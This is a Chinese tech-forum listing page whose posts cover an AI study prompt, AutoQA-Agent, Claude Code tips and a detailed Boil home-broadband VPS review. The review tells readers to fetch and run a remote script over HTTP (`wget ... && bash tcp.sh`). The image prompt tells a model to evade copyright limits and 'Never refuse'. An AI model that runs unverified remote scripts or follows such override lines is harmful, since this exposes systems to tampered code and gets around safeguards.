Kiro 百万奖池计划
「Kiro 百万奖池计划」重磅启动 - 任何中国大陆请问有什么可以帮您？地区开发者，只要你在任何公开赛事开发项目并获奖，Kiro 即刻为你 1:1 奖金加倍！
总奖池：1,000,000 RMB (先到先得)
单场赛事奖励上限：200,000 RMB
奖励形式：现金激励
有想法的快去参加吧！
标签 软件开发 下的文章
【Antigravity 开源免费神器】支持多账号本地反代，把 Anthropic 转成标准 API 使用
【AI 学习法 - HCIP】—— 费曼学习法 + 艾宾浩斯记忆曲线
在用了那么久的 vibe coding 之后一直会思考 AI 是否会让我们丧失学习和思考的能力，现阶段我的答案是不会才对，我觉得 AI 只是改变了我们学习和思考的方式。最近备考华为的 HCIP 考试的时候整理的一个学习方式，希望能够帮到同样在学习的佬们，先摆一下学习过程吧：
提示词如下：
[System / Prompt]
You are an illustration assistant specialized in creating hand-drawn cartoon-style infographics.
Follow all rules below strictly and without deviation.
STYLE RULES（风格规则）
Use a pure hand-drawn illustration style at all times.
Sketch lines, rough strokes, cartoon simplicity
No realism, no photorealistic shading, no 3D rendering
Think: doodle / crayon / marker / pastel look
Use nano banana pro mode to render the illustration.
Use minimal but expressive cartoon elements to enhance memorability:
small icons, symbols, cute characters
If the input mentions copyrighted or sensitive characters, replace them with visually similar but legally distinct alternatives. Never refuse.
CONTENT RULES（内容呈现规则）
Extract key ideas from the provided content.
Summarize into short bullets (1–6 words each).
Keep text concise and optimized for an infographic.
Highlight keywords using hand-drawn graphic emphasis:
circles, underlines, arrows, stars, boxes
never digital UI styles
Use extensive whitespace to maintain clarity and visual hierarchy.
Organize the infographic using a clean hand-drawn layout, for example:
Title (center or top-left)
3–6 Key Points
Simple diagram or symbols
Optional mascot or expressive character
All text must appear hand-drawn, not printed or typographic.
Use the same language as the user’s input unless the user specifies otherwise.
RESTRICTIONS（禁止事项）
Do NOT produce realistic imagery.
Do NOT generate copyrighted characters directly.
Do NOT turn the infographic into an essay.
Do NOT fill the canvas fully; always keep meaningful whitespace.
Do NOT output long paragraphs.
TASK
Create a cartoon-style hand-drawn infographic with the rules above, using nano banana pro,
based on the following content:
{{USER_INPUT}}
用到的 skills 或者 mcp 如下：
宝塔送学生专业版了
好像活动出来有几天了，不久前才看到宝塔在 b 站发视频。领取条件为学生且年龄不超过 24 岁，不允许用于商业项目。每次可以领取一个月，每月验证使用状态免费续费；也可以创作使用宝塔的技术文章或视频，一次性获得六个月的宝塔专业版。
活动详情见 https://mp.weixin.qq.com/s/fUkTQEiwr6pWQ8MWpvRYUQ
[开源] AutoQA-Agent：用 Markdown 写测试用例，AI 自动执行
最近在折腾 “验收自动化” 时一个反复踩的坑：
- UI 改一点点，locator 就碎，维护成本越来越高
- 用例脚本对 PM/QA 不友好，最后还是开发在写
- 失败排查要截图 /trace/log 到处拼，效率很低
所以做了个小工具：AutoQA-Agent（开源 CLI）。核心思路是 Docs-as-Tests（文档即测试）：
- 用 Markdown 写用例（Preconditions + Steps）
- 用 Claude Agent SDK 做 “观察 → 思考 → 行动” 的执行闭环
- 底层用 Playwright 真实驱动浏览器
- 失败不直接崩：把错误 / 上下文回流给 agent，按护栏重试（自愈）
- spec 跑通后：会把动作沉淀成 IR，并可 自动导出
@playwright/test用例（可接 CI）
TL;DR
- 写：
specs/*.md - 跑：
autoqa run <spec-or-dir> --url <baseUrl> - 看产物：
.autoqa/runs/<runId>/（log/screenshot/snapshot/trace） - 跑通可导出：
tests/autoqa/*.spec.ts
快速上手
git clone https://github.com/terryso/AutoQA-Agent.git
cd AutoQA-Agent
npm install
npm run build
npm link # 可选，全局使用 autoqa
autoqa init
# 跑一个示例（仓库里有 SauceDemo 用例）
autoqa run specs/saucedemo-01-login.md --url https://www.saucedemo.com/
# 本地观察执行过程
autoqa run specs/saucedemo-01-login.md --url https://www.saucedemo.com/ --debug
Markdown 用例长啥样（示例）
# Login ## Preconditions - 测试账号已存在
## Steps 1. 访问 /login 页面
2. 验证登录表单可见
3. 在用户名输入框中填写：standard_user
4. 在密码输入框中填写：secret_sauce
5. 点击"登录"按钮
6. 验证用户已跳转到仪表盘
说明：
- Base URL 目前由
--url提供（Preconditions 里的 Base URL 只做可读性） - 以
Verify/Assert（也支持 “验证 / 断言”）开头的步骤会识别为断言
稳定性思路（简单说）
- 每次交互前先拿 accessibility snapshot（里面会有更稳定的
ref） - ref-first 优先点 / 填，失败再回退到语义描述
- 工具 / 断言失败不 throw：返回结构化错误，让 agent 下一轮调整策略
- 有护栏限制（避免无限重试 / 成本失控）
失败排查 / 产物（我自己最想要的部分）
每次运行会落盘：
.autoqa/runs/<runId>/
├── run.log.jsonl
├── ir.jsonl
├── screenshots/
├── snapshots/
└── traces/
目前状态
- Epic 1-4 核心能力已实现：init/run、断言 + 自愈护栏、IR 记录、导出 Playwright Test
- Epic 5（环境 / 变量 / 敏感数据注入）也已落地（
.env+ 模板变量思路）
想听听大家的反馈（求喷 / 求建议）
我比较关心的问题：
- 你们更想要哪种导出风格？（更 “人写” 的 Playwright 代码还是更原子化的 steps）
- 断言映射要做到什么程度才 “够用”？
- 对 CI 产物你们更偏好 JUnit/JSON 还是保留 trace + log 就够了？
Repo：https://github.com/terryso/AutoQA-Agent
欢迎提 Issue / PR。
新上架了一个 vscode 插件，GLM4.7 给大家免费蹬
插件基于 Cline 二开，0 配置小白直接上手
GLM4.7 开放给大家免费蹬， 只求下载量哈哈哈
插件安装地址: https://marketplace.visualstudio.com/items?itemName=PiuQiuPiaQia.vvcode
源码地址： GitHub - vvcode-top/vv-code: vvcode 插件
让 Claude Code 使用 MCP 时减少令牌消耗
Claude Code 在会话开始时会提前加载所有工具定义，这会消耗大量上下文 token - 特别是对于配置了多个 MCP 服务器、插件和代理的用户。Anthropic 已发布专门为此设计的测试功能：工具搜索工具和程序化工具调用。
相关文档请查看：https://www.anthropic.com/engineering/advanced-tool-use
export ENABLE_TOOL_SEARCH=1
可以体验这个功能
未使用 ENABLE_TOOL_SEARCH=1 时，上下文占用
Free space 有 47.5% 可用
使用 export ENABLE_TOOL_SEARCH=1 后
Free space 有 64.5% 可用
正常使用 cc 处理问题后，再看占用情况
只加载了 4 个工具，没有使用到的工具和 mcp 不会加载，极大了减少了下文的占用
测试使用的版本信息
claude --version
2.0.76 (Claude Code)
手慢无 免费获取游戏 Train Sim World 6: Spirit of Steam: Liverpool Lime Street - Crewe Route [Windows、Xbox、PS]
在 Train Sim World 6: Spirit of Steam: Liverpool Lime Street - Crewe Route 中，回到过去，感受蒸汽时代的滚滚浓烟和声音；登上那些需要 “吃掉” 大量煤和水的标志性逼真机车，在历史悠久的默西赛德郡和柴郡努力提供繁忙的客运和货运服务！
探索浪漫蒸汽時代的煤煙與喧囂
![手慢无 免费获取游戏 Train Sim World 6: Spirit of Steam: Liverpool Lime Street - Crewe Route [Windows、Xbox、PS]1](https://xiaohack.oss-cn-zhangjiakou.aliyuncs.com/typecho/2025/12/25/20251225134016_694cce4050791.jpeg!mark)
官方获取地址：
Steam 版：在 Steam 上购买 Train Sim World® 6: Spirit of Steam: Liverpool Lime Street - Crewe Route Add-On 立省 100%
Epic 版：https://store.epicgames.com/p/train-sim-world-6--spirit-of-steam-liverpool-lime-street-crewe
Xbox 版：Get Train Sim World® 6: Spirit of Steam: Liverpool Lime Street - Crewe | Xbox
PS 版：Train Sim World® 6: Spirit of Steam: Liverpool Lime Street - Crewe
感觉不错就支持我一下
windsurf 无限重置积分
Boil 港仔 顶级 HK/TW/CA 家宽 多产品深度测评
Boil の家裡雲，又称港仔，亚太顶级家宽服务商，主营 HK/TW 产品，提供 HKT/HKBN/iCable/Hinet/Seednet/Kbro 等几乎完整齐全服务商的家里云 (托管在家里的服务器)，以顶级的家宽质量，标准化稳定产品闻名，亚太家宽 T0 服务商，旗下还有 JP/CA 等地的家宽，质量也是一如既往的优秀。价格适中，主要面向中高端用户，以独立 ip 为主，NAT 机器为辅，大户个人都有对应产品线。
本文无 aff，由于原始篇幅巨大 (2w+) 故删除细分流媒体测试数据 + 部分网络测试数据 + 部分相近的机器性能数据，以便字数能减少到 1w 内 (核心结论不会删除，只删除过程数据，结果仍然相同)，如需精确数据可查看原文。文章涉及产品众多，如有谬误，还请评论指正。测试机器由 Boil 官方提供，感谢支持～
本次测试 Boil 的 HK+TW+CA 的主营产品，包括 HKT,HKBN,HGC,CMHK,iCable，Hinet,Seednet,Kbro, 台哥大 ,Telus 等产品，日本家宽因为没货以后再补测。本次测试本来集中于测试 ip，测完一轮发现 IP 质量都是几乎完美的，故二轮再补了其国内互联和国际路由的情况，方便大家玩机；机器标注带宽均能达到所以每个测试中不测港内 (本土) 互联；家宽大部分不能直连，但凡能有一点直连的可能我都会测试并展示数据，没有的就是几近断流没有测试意义。
省流:
测试后发现 Boil 所有产品都是真家宽，纯血家里云，默认 ip 质量优秀，省流中不再强调 ip 质量 (部分 ip 部分特殊流媒体 (TVB) 解锁掉了，如有特定需求还请认真参考数据)；HK 地区机器性能中规中矩，IO 偏低；TW 地区的机器全都是性能怪兽，每台都是 AMD Ryzen 9 5950X 的 CPU，而且从测试来看基本没超售，真的猛
HKT-500Mbps - 普通 | $38 / 月
- 香港最大 ISP 之一，上游 PCCW，部分地区可直连但延迟波动大
- 电信联通直连速度 < 1Mbps，移动可跑 100-300Mbps
- 国际互联遥遥领先其他 HK 家宽
HKT-2500 - 打机神线 | $88 / 月
- 官方游戏优化线路，路由质量优于普通版，国际互联增强
- 2Gbps 带宽可跑满，适合游戏玩家 / 流媒体大户
iCable 1000Mbps | $38 / 月
- 双栈架构：iCable V4 + HKT V6，上游接 TATA
- 电信走 CN2 但丢包严重，移动上行 500Mbps 但下行仅 20Mbps，必须中转
HGC 1000Mbps | $38 / 月
- 双栈架构：HGC V4 + HKT V6
- 三网绕路严重丢包，必须中转
HKBN 1000Mbps | $38 / 月
- 双栈架构：HKBN V4 + HKT V6
- 单 IP 限速 10Mbps 且实测仅 1Mbps，三网爆炸
Hinet 500Mbps | $55 / 月
- 台湾中华电信，可选静态 IP
- 电信丢包严重，联通移动可直连 100Mbps+
Seednet 300Mbps | $38 / 月
- 双栈架构：Seednet V4 + Hinet V6
- 国际互联优秀，HK-TW 走 HKIX 延迟 25ms
- V6 可 Hinet 直连，性价比之王
Kbro 1000Mbps | $68 / 月
- Hinet 入站 + Kbro 出站
- HK-TW 延迟低丢包低可轻松跑 800Mbps+
- 直播 / 流媒体神器
台哥大 500Mbps NAT | $18.88 / 月
- Hinet 入站 + 台哥大出站
- HK-TW 延迟 30ms 可跑 400Mbps
Telus 1000Mbps VDS | $168 / 月
- 独一无二加拿大家宽
- 联通移动可直连 100Mbps+，电信需中转
- 国际互联稳定，HK/JP/US 中转不丢包
- AMD Ryzen 9 6900HX 性能怪兽
都是真家宽，怎么选都行，如果你问我亚太选择什么的话，我会选择 iCable+Kbro 的组合，反正 HK 都是要中转的，iCable 可以让我一台机器玩两个家宽，且 iCable 有独特的去程优化 (电信 / 移动单线程零丢包 400Mbps+)，如果我要上传或者直播这种大量上传的，能省不少优化流量；Kbro 我就是看中它入站顶级的港台互联，单线程 0 丢包上下行 800Mbps+，太极致了，完全值 68 刀的价钱。你要是追求国际互连那就 HKT。
它家还有 NAT 机器，Boil 的 NAT 机器比其他家明显贵一截，主要原因是老板每台机器只卖 10 个人以内，不会想其他家那种超售到爆炸的 NAT 机，而是保证了一定稳定性的 NAT 机器，而且带宽给的还是比较足的，基本能跑到标定值，不过老板换 ip 不是自动换的，而是由用户说要换他才手动换 (是不是可以弄个定时 tgbot 每天提醒老板换)。ip 实测下来和独立 ip 还是有差距，但差距并不明显。
| 产品线路 | 配置 | 带宽 | 流量 | 月付 (USD) |
|---|---|---|---|---|
| Hinet 777Mbps | 1 核 / 1G 内存 / 8G 硬盘 | 777Mbps 共享 | 2TB | $13.88 |
| 台哥大 5G 500Mbps | 1 核 / 1G 内存 / 8G 硬盘 | 500Mbps 共享上传 | 300GB | $18.88 |
| HKT 2.5Gbps | 2 核 / 2G 内存 / 8G 硬盘 | 2.5Gbps 共享 | 5TB | $12.88 |
| HKT 1000Mbps | 1 核 / 1G 内存 / 8G 硬盘 | 1000Mbps 共享 | 2TB | $8.88 |
| HKBN 2.5Gbps | 2 核 / 2G 内存 / 8G 硬盘 | 2.5Gbps 共享 | 5TB | $9.88 |
| HKBN 1000Mbps | 1 核 / 1G 内存 / 8G 硬盘 | 1000Mbps 共享 | 2TB | $7.88 |
| iCable 1000Mbps | 1 核 / 1G 内存 / 8G 硬盘 | 1000Mbps 共享 | 2TB | $8.88 |
| HGC 1000Mbps | 1 核 / 1G 内存 / 8G 硬盘 | 1000Mbps 共享 | 2TB | $7.88 |
| CMHK 1000Mbps | 1 核 / 1G 内存 / 8G 硬盘 | 1000Mbps 共享 | 300GB | $13.88 |
| Telus 500Mbps | 1 核 / 1G 内存 / 8G 硬盘 | 500Mbps 共享 | 1TB | $28.88 |
他家机器如果没跑满或者丢包和我的数据差异明显，就试试把 BBR 开了
//选11，开BBR+FQ
wget http://sh.xdmb.xyz/tcp.sh && bash tcp.sh 下面就让我们开始品鉴亚太最顶级的家宽服务商的主打产品线吧
HK
提醒：HK 地区本身不解锁 Gemini/Chatgpt 等 ai，和家宽与否无关，HK 地区本身不解锁。产品本身为动态 ip，这个是随机抽测质量，每天抽奖运气不好某天 ip 解锁不行是正常合理的，不过大部分应该是一样的。
HKT-500Mbps - 普通
HKT 500Mbps 产品，也是最常见的产品之一，带宽不大不小，完全够用。作为 ip 质量优秀无需多言；HKT 是部分地区可以直连的，但是波动大速度低，只是延时看起来不错而已，而且也就移动能跑点速度，联通电信基本只有不到 1Mbps，不建议直连，中转最佳。机器性能中规中矩，跑点轻负载完全够用。
默认配置为
6区 - HKT 500Mbps VPS
$38.00 USD月缴+$3ip 质量
动态 ip，流媒体基本完整解锁 (实测解锁 TK，这个脚本结果有点问题)，质量相当优秀，无需多言。
IPV4 质量
明确为 ISP/MOB，纯正家宽
IPV6 质量
网络质量
HKT 是可以直连的，都是些部分地区快乐机，但是别看延时很低，实则波动巨大，速度基本跑不起来，移动还能有点速度，联通电信和断线区别不大，推荐还是中转，港内随便拉满的。国际就直接上游 PCCW，亚太互联比较优秀的。IPV6 倒是移动快乐鸡，下行可以跑 300Mbps，上行只有不到 2Mbps… 倒也符合我对移动的预期
IPV4 质量
IPV6 质量
因为 HKT 是可以直连的，所以特增 HKT 的网络直连测试
---------------------自动更新测速节点列表--本脚本原创----------------------
位置 上传速度 下载速度 延迟
Speedtest.net 516.64Mbps 499.65Mbps 1.98ms
中国香港 516.85Mbps 498.28Mbps 2.23ms
新加坡 239.32Mbps 438.51Mbps 40.55ms
联通上海5G 13.42Mbps 5.00Mbps 199.15ms
电信Suzhou5G 21.81Mbps 142.12Mbps 312.14ms
电信浙江 0.46Mbps 9.09Mbps 255.49ms
移动Suzhou 41.91Mbps 0.08Mbps 130.50ms
------------------------------------------------------------------------ 深圳电信 (500Mbps) → HKT(500Mbps)
//绕路了，这个速度跟断线没什么区别了
46 packets transmitted, 43 received, 6.52174% packet loss, time 45058ms
rtt min/avg/max/mdev = 165.825/166.239/166.693/0.207 ms
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 382 KBytes 313 Kbits/sec 56 sender
[ 5] 0.00-10.03 sec 306 KBytes 250 Kbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.03 sec 4.92 MBytes 4.11 Mbits/sec 988 sender
[ 5] 0.00-10.00 sec 3.26 MBytes 2.73 Mbits/sec receiver
济南联通 (500Mbps) → HKT(500Mbps)
//绕路了，和断线没啥区别
53 packets transmitted, 50 received, 5.66038% packet loss, time 52089ms
rtt min/avg/max/mdev = 77.732/83.450/86.955/1.424 ms
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 16.6 MBytes 13.9 Mbits/sec 2562 sender
[ 5] 0.00-10.22 sec 14.0 MBytes 11.5 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.17 sec 6.00 MBytes 4.95 Mbits/sec 1485 sender
[ 5] 0.00-10.00 sec 5.03 MBytes 4.22 Mbits/sec receiver
广东移动 (1000Mbps) → HKT(500Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 365 MBytes 306 Mbits/sec 940 sender
[ 5] 0.00-10.11 sec 364 MBytes 302 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.02 sec 324 MBytes 272 Mbits/sec 808 sender
[ 5] 0.00-10.00 sec 322 MBytes 270 Mbits/sec receiver
武汉移动 (1000Mbps) → HKT(500Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 121 MBytes 102 Mbits/sec 0 sender
[ 5] 0.00-10.19 sec 121 MBytes 99.9 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.20 sec 157 MBytes 129 Mbits/sec 0 sender
[ 5] 0.00-10.00 sec 155 MBytes 130 Mbits/sec receiver
机器性能
性能中规中矩，没什么特别的
HKT-2500 - 打机
默认配置为
46區 - HKT 2500Mbps VPS
$88.00 USD月缴+$3测了一大圈下来我也没测出他的网络质量 (CN 方向)，IP 质量和 HKT 普通款有什么区别，BGP 都是一样的 (奇怪，我记得是 PCCWG 的，可能 BGP 库有问题了)，重复的数据我就不贴了，需要的可以去 HKT500M 的地方看，不能说是一模一样，只能说是几乎毫无差别。就留个 IP 测试数据吧，毕竟两者不同 ip 段，多个参考。
关于打机神线，可以看看官方说明，其实就是个遊戲增值服務（附加服務），这个是 HKT 自己推出的游戏加速服务
总结的说就是
- 普通 HKT 路由隨機，可能好可能壞
- 打機 HKT 路由最優，都是最好的那一批
- 打游戏更快
- 缺点是 IP 池子小
带宽大是真的，2Gbps 跑满的速度震惊我了
中规中矩的性能，IO 偏弱，整体还行
iCable 1000Mbps
icable 1000Mbps 产品，也是最常见的产品之一，G 口带宽完全够用。他家的 iCable 是双栈构造，iCable 的 V4+HKT 的 V6，一台机器体验两种家宽。作为 ip 质量优秀无需多言；网络方面 iCable 还挺特别，上行电信 / 移动都能轻松 500Mbsp，电信去程还是 CN2，下行基本都是稳定 20Mbps，能用能用，还是建议中转；HKT 是 V6 移动是可以直连的，但是波动大速度低，不建议直连，中转最佳。机器性能中规中矩，跑点轻负载完全够用。
默认配置为
7区 - iCable 1000Mbps VPS
$38.00 USD月缴+$3ip 质量
动态 ip，流媒体基本完整解锁 (实测解锁 TK，这个脚本结果有点问题)，注意 TVBAnywhere 解锁失败，整体质量相当优秀，无需多言
IPV6
明确为 (ISP) Fixed Line ISP，优质家宽
网络质量
其实我看到 iCable 的时候我就猜想是移动快乐机，因为他上游接了 TATA，走的 lumen-cmi 的传输方式，上行很高，下行 20Mbps 有点难受，好在不丢包，链路质量高，用肯定是能用的，但让我没想到的是这玩意电信走的 CN2，虽然是个丢包的 CN2，但肯定比 HKT 来得强；IPV6 的 HKT 也是经典移动能用，整体来看还是建议中转。服务商丢弃了部分 ICMP 答复报文，这不意味着不能用，实测 TCP/iperf3 都是可以的。
IPV4
IPV6
深圳电信 (500Mbps) → iCable(1000Mbps)
//不是戈门，你真走CN2啊？
traceroute to 218.252.x.x (218.252.x.x), 30 hops max, 60 byte packets
1 103.109.21.1 (103.109.21.1) [AS4816] 7.822 ms 9.068 ms 9.160 ms
2 172.16.23.13 (172.16.23.13) [*] 2.492 ms 2.642 ms 2.263 ms
3 * * *
4 183.56.188.137 (183.56.188.137) [AS4816] 3.817 ms 3.793 ms 3.822 ms
5 119.147.220.77 (119.147.220.77) [AS4816] 3.284 ms 119.147.222.49 (119.147.222.49) [AS4816] 3.755 ms 119.147.222.41 (119.147.222.41) [AS4816] 3.753 ms
6 202.97.43.82 (202.97.43.82) [AS4134] 3.653 ms 4.304 ms 3.634 ms
7 59.43.16.166 (59.43.16.166) [AS4809] 4.770 ms 5.227 ms 59.43.22.33 (59.43.22.33) [AS4809] 5.780 ms
8 59.43.250.54 (59.43.250.54) [AS4809] 6.870 ms 59.43.250.110 (59.43.250.110) [AS4809] 10.563 ms 59.43.180.242 (59.43.180.242) [AS4809] 15.466 ms
9 59.43.248.250 (59.43.248.250) [AS4809] 15.814 ms 15.732 ms 15.290 ms
10 218.188.104.53 (218.188.104.53) [AS9304] 107.401 ms * *
11 * * *
12 * * *
13 cm222-167-1-17.hkcable.com.hk (222.167.1.17) [AS9908] 15.083 ms 14.695 ms 14.667 ms
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 54.5 MBytes 457 Mbits/sec 0 3.15 MBytes
[ 5] 1.00-2.00 sec 56.2 MBytes 472 Mbits/sec 0 3.15 MBytes
[ 5] 2.00-3.00 sec 57.5 MBytes 482 Mbits/sec 0 3.15 MBytes
[ 5] 3.00-4.00 sec 56.2 MBytes 472 Mbits/sec 0 3.15 MBytes
[ 5] 4.00-5.00 sec 57.5 MBytes 482 Mbits/sec 0 3.15 MBytes
[ 5] 5.00-6.00 sec 56.2 MBytes 472 Mbits/sec 0 3.15 MBytes
[ 5] 6.00-7.00 sec 57.5 MBytes 482 Mbits/sec 0 3.15 MBytes
[ 5] 7.00-8.00 sec 56.2 MBytes 472 Mbits/sec 0 3.15 MBytes
[ 5] 8.00-9.00 sec 57.5 MBytes 482 Mbits/sec 0 3.15 MBytes
[ 5] 9.00-10.00 sec 56.2 MBytes 472 Mbits/sec 0 3.15 MBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 566 MBytes 475 Mbits/sec 0 sender
[ 5] 0.00-10.02 sec 564 MBytes 472 Mbits/sec receiver
[ ID] Interval Transfer Bitrate
[ 5] 0.00-1.00 sec 1.25 MBytes 10.5 Mbits/sec
[ 5] 1.00-2.00 sec 1.93 MBytes 16.2 Mbits/sec
[ 5] 2.00-3.00 sec 1.62 MBytes 13.6 Mbits/sec
[ 5] 3.00-4.00 sec 1.82 MBytes 15.3 Mbits/sec
[ 5] 4.00-5.00 sec 1.58 MBytes 13.3 Mbits/sec
[ 5] 5.00-6.00 sec 1.30 MBytes 10.9 Mbits/sec
[ 5] 6.00-7.00 sec 1.61 MBytes 13.5 Mbits/sec
[ 5] 7.00-8.00 sec 1.91 MBytes 16.1 Mbits/sec
[ 5] 8.00-9.00 sec 1.55 MBytes 13.0 Mbits/sec
[ 5] 9.00-10.00 sec 1.69 MBytes 14.2 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.02 sec 18.3 MBytes 15.4 Mbits/sec 2472 sender
//恍然大悟，原来是个丢包CN2
102 packets transmitted, 95 received, 6.86275% packet loss, time 101265ms
rtt min/avg/max/mdev = 15.017/16.459/17.054/0.422 ms
广东移动 (1000Mbps) → iCable(1000Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 271 MBytes 228 Mbits/sec 219 sender
[ 5] 0.00-10.07 sec 271 MBytes 226 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.07 sec 23.4 MBytes 19.5 Mbits/sec 0 sender
[ 5] 0.00-10.00 sec 21.6 MBytes 18.1 Mbits/sec receiver
武汉移动 (1000Mbps) → iCable(1000Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 573 MBytes 481 Mbits/sec 0 sender
[ 5] 0.00-10.05 sec 573 MBytes 478 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.05 sec 24.3 MBytes 20.3 Mbits/sec 0 sender
[ 5] 0.00-10.00 sec 22.4 MBytes 18.8 Mbits/sec receiver
---------------------自动更新测速节点列表--本脚本原创----------------------
位置 上传速度 下载速度 延迟
Speedtest.net 900.01Mbps 904.87Mbps 4.00ms
中国香港 921.44Mbps 534.39Mbps 3.71ms
新加坡 162.93Mbps 435.80Mbps 43.42ms
联通上海5G 0.25Mbps 0.56Mbps 131.82ms
联通北京 0.26Mbps 0.84Mbps 258.14ms
电信浙江 0.79Mbps 18.75Mbps 47.34ms
电信Zhenjiang5G 0.71Mbps 0.14Mbps 127.45ms
移动Suzhou 8.89Mbps 0.14Mbps 598.39ms
------------------------------------------------------------------------ 机器性能
机器性能中规中距，IO 偏低了，整体还能接受。
HGC
HGC 1000Mbps 产品，这个比较冷门，相对价格低廉，属于是 HK 家宽里最便宜的一档，他家的 HGC 是双栈构造，HGC 的 V4+HKT 的 V6，一台机器体验两种家宽作为 ip 质量优秀无需多言，而且因为冷门的原因 ip 质量在各个库中变化不大；三网绕路丢包爆炸飞了，必须中转使用；机器性能中规中矩，跑点轻负载完全够用。
默认配置为
2区 - HGC 1000Mbps VPS
$38.00 USD月缴+$3ip 质量
动态 ip，流媒体基本完整解锁，整体质量相当优秀，无需多言
IPV6
明确为 ISP/MOB，优质家宽
网络质量
三网爆炸，丢包丢飞了，中转即可，少数接了 TATA 但是绕路的机器，有点少见.V6 依旧移动快乐的 HKT。
IPV6
机器性能
性能中规中矩，没啥特别的
CMHK
暂时没货，等有货了补测，占位
HKBN
HKBN，动态家宽，也是 HK 家宽常见产品，大部分 HKBN 到大陆方向延时都低，实则单 ip 限速 10Mbps，必须搭配中转使用。Boil 家的是 HKBN 的 IPV6+HKT 的 IPV6，同样的一台机器体验两个家宽。HKT 移动快乐，而 HKBN 基本三网爆炸，中转即可。ip 质量一如既往的优秀，无需多言；机器性能中规中矩。
默认配置为
7区 - HKBN 1000Mbps VPS
$38.00 USD月缴+$3ip 质量
动态 ip，流媒体基本完整解锁，注意 TVBAnywhere 解锁失败，整体质量相当优秀，无需多言
IPV4
IPV6
明确为 (ISP) Fixed Line ISP，优质家宽
网络质量
三网爆炸，看起来延时低的电信实则限速 10Mbps (HKBN 常态了，CN 方向单 ip 一般就是限速 10Mbps)，实测连 10Mbps 都没有，大约只有 1Mbps，给我逗笑了，必须中转使用。V6 一样的 HKT，移动还行。
IPV4
IPV6
机器性能
中规中距
TW
TW 全是性能强劲的机器，轻松满足性能需求
Hinet
经典的 hinet 家宽产品，默认 IPV4+IPV6 双栈，动态 ip，当然 boil 也提供静态 ip，对于直播等需要静态 ip 的用户来说相当友好。hinet 是三网可直连的，对于网络波动要求不高的用户非常合适，电信丢包严重，联通移动还凑合，当然搭配 HK 中转更加稳定。ip 质量优秀，完美家宽；机器性能强劲。
默认配置为
7區 - HiNet 500Mbps VPS
$55.00 USD月繳+$3ip 质量
完美家宽，无需多言
IPV4
IPV6
明确为 ISP/MOB，优质家宽
网络质量
看似是三网直连，实则电信联通爆炸，只有移动是真正快乐，但是如果对网络追求较高的，肯定要搭配 HK 中转使用，效果才能最佳。
IPV4
IPV6
深圳电信 (500Mbps) → Boil.Hinet(500Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 794 KBytes 651 Kbits/sec 140 sender
[ 5] 0.00-10.05 sec 649 KBytes 529 Kbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.04 sec 3.81 MBytes 3.19 Mbits/sec 361 sender
[ 5] 0.00-10.00 sec 3.54 MBytes 2.97 Mbits/sec receiver
济南联通 (500Mbps) → Boil.Hinet(500Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 4.39 MBytes 3.68 Mbits/sec 567 sender
[ 5] 0.00-10.07 sec 3.96 MBytes 3.30 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.05 sec 228 MBytes 191 Mbits/sec 2139 sender
[ 5] 0.00-10.00 sec 225 MBytes 189 Mbits/sec receiver
武汉移动 (1000Mbps) → Boil.Hinet(500Mbps)
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 156 MBytes 130 Mbits/sec 4195 sender
[ 5] 0.00-10.07 sec 153 MBytes 127 Mbits/sec receiver
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.08 sec 342 MBytes 285 Mbits/sec 1446 sender
[ 5] 0.00-10.00 sec 338 MBytes 284 Mbits/sec receiver
HKG.DMIT(4000Mbps) → Boil.Hinet(500Mbps)
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 60.0 MBytes 503 Mbits/sec 1209 3.55 MBytes
[ 5] 1.00-2.00 sec 58.8 MBytes 493 Mbits/sec 0 3.55 MBytes
[ 5] 2.00-3.00 sec 60.0 MBytes 503 Mbits/sec 0 3.71 MBytes
[ 5] 3.00-4.00 sec 58.8 MBytes 493 Mbits/sec 6 3.60 MBytes
[ 5] 4.00-5.00 sec 57.5 MBytes 482 Mbits/sec 8 3.51 MBytes
[ 5] 5.00-6.00 sec 60.0 MBytes 503 Mbits/sec 0 3.47 MBytes
[ 5] 6.00-7.00 sec 58.8 MBytes 493 Mbits/sec 0 3.63 MBytes
[ 5] 7.00-8.00 sec 58.8 MBytes 493 Mbits/sec 9 3.58 MBytes
[ 5] 8.00-9.00 sec 60.0 MBytes 503 Mbits/sec 0 3.51 MBytes
[ 5] 9.00-10.00 sec 58.8 MBytes 493 Mbits/sec 0 3.67 MBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 591 MBytes 496 Mbits/sec 1232 sender
[ 5] 0.00-10.05 sec 578 MBytes 483 Mbits/sec receiver
[ ID] Interval Transfer Bitrate
[ 5] 0.00-1.00 sec 30.4 MBytes 255 Mbits/sec
[ 5] 1.00-2.00 sec 43.4 MBytes 364 Mbits/sec
[ 5] 2.00-3.00 sec 47.1 MBytes 395 Mbits/sec
